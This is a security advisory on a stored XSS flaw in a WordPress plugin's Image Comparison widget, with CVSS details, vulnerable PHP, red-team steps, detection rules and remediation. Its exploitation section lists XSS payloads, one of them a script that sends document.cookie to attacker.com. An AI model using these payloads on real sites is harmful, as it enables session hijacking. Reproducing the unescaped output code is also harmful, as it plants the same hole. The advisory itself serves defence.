CVE-2024-10091

Executive Summary

CVE-2024-10091 is a Stored Cross-Site Scripting (XSS) vulnerability in the ElementsKit Elementor addons plugin for WordPress, affecting all versions up to and including 3.2.9. The flaw resides in the Image Comparison Widget, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious widget. The vulnerability has a CVSS score of 6.4 (Medium), and while the EPSS score is currently 0.0%, the risk is elevated due to the widespread use of Elementor and the plugin’s popularity. No public exploit code or patch is available at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply patches as soon as they become available. Since the plugin is part of the WordPress ecosystem, supply chain risks include compromised updates or malicious forks. Administrators should verify plugin integrity via checksums and restrict contributor-level access to trusted users only.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is considered Medium due to the requirement for authenticated access and user interaction. However, the potential for widespread exploitation increases if a proof-of-concept is released.

Deep Dive & Mechanics

The vulnerability exists in the Image Comparison Widget of the ElementsKit plugin. This widget allows users to compare two images using a slider. The widget accepts user-supplied attributes (e.g., image URLs, labels, CSS classes) that are not properly sanitized or escaped before being rendered in the HTML output.

An attacker with contributor-level access can create or edit a post/page and insert the Image Comparison widget with malicious JavaScript embedded in an attribute. For example, the before_label or after_label attributes could contain a payload like "><script>alert('XSS')</script>. When the page is rendered, the unsanitized attribute is injected into the DOM, causing the script to execute in the context of the victim’s browser.

The root cause is the lack of proper escaping using functions like esc_attr() or wp_kses() on user-supplied attributes before output. This is a classic Stored XSS pattern in WordPress plugins.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.2.9):

// In the widget's render method
$before_label = $settings['before_label'];
echo '<div class="before-label">' . $before_label . '</div>';

Patched Code (hypothetical):

// Properly escape output
$before_label = esc_html( $settings['before_label'] );
echo '<div class="before-label">' . $before_label . '</div>';

The patched version would use esc_html() or esc_attr() to neutralize any HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: WordPress instance with ElementsKit plugin <= 3.2.9, contributor-level account.
2. Steps:
   • Log in as a contributor.
   • Create a new post or page.
   • Add the Image Comparison widget via Elementor.
   • In the widget settings, set the Before Label attribute to: "><img src=x onerror=alert(document.cookie)>
   • Publish the post.
   • When any user (including admin) visits the post, the XSS payload executes.

Example Payload:

"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Prevention)

• Input Validation: Ensure all user-supplied attributes are sanitized with wp_kses() or esc_attr().
• Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
• Web Application Firewall (WAF): Deploy rules to detect common XSS patterns in POST data.
• User Access Control: Limit contributor-level access to trusted users only.
• Monitor Logs: Watch for unusual widget attribute values in post revisions.

Indicators of Compromise (IOCs)

• File Indicators:
  • Modified post/page content containing <script> tags or event handlers (e.g., onerror, onload).
  • Unusual entries in the wp_posts table with post_content containing malicious JavaScript.
• Network Indicators:
  • Outbound HTTP requests to known malicious domains from the WordPress server.
  • Suspicious Referer headers pointing to pages with the Image Comparison widget.
• Log Indicators:
  • Repeated access to pages with the vulnerable widget from different IPs.
  • Error logs showing unescaped HTML in widget output.

Detection Engineering

YARA Rule

rule CVE_2024_10091_Stored_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-10091 in ElementsKit Image Comparison Widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10091"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $payload3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $widget_attr = /before_label|after_label|image_url/i
    condition:
        any of ($payload*) and $widget_attr
}

Sigma Rule

title: CVE-2024-10091 Stored XSS in ElementsKit Image Comparison Widget
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts via ElementsKit widget attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/admin-ajax.php'
        http.body|contains:
            - 'before_label'
            - 'after_label'
            - 'image_url'
        http.body|re: '(<script|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10091 Stored XSS in ElementsKit Image Comparison Widget"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"before_label"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the ElementsKit plugin until a patch is available.
   • Restrict contributor-level access to only trusted users.
   • Review all posts/pages for malicious widget attributes.

2. Long-term Fix:

   • Apply the official patch from the plugin vendor once released.
   • Implement a Web Application Firewall (WAF) with XSS rules.
   • Enforce Content Security Policy (CSP) headers.

3. Workarounds:

   • Use a security plugin like Wordfence to block XSS attempts.
   • Manually edit the plugin code to add esc_attr() to widget attributes (not recommended for production).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert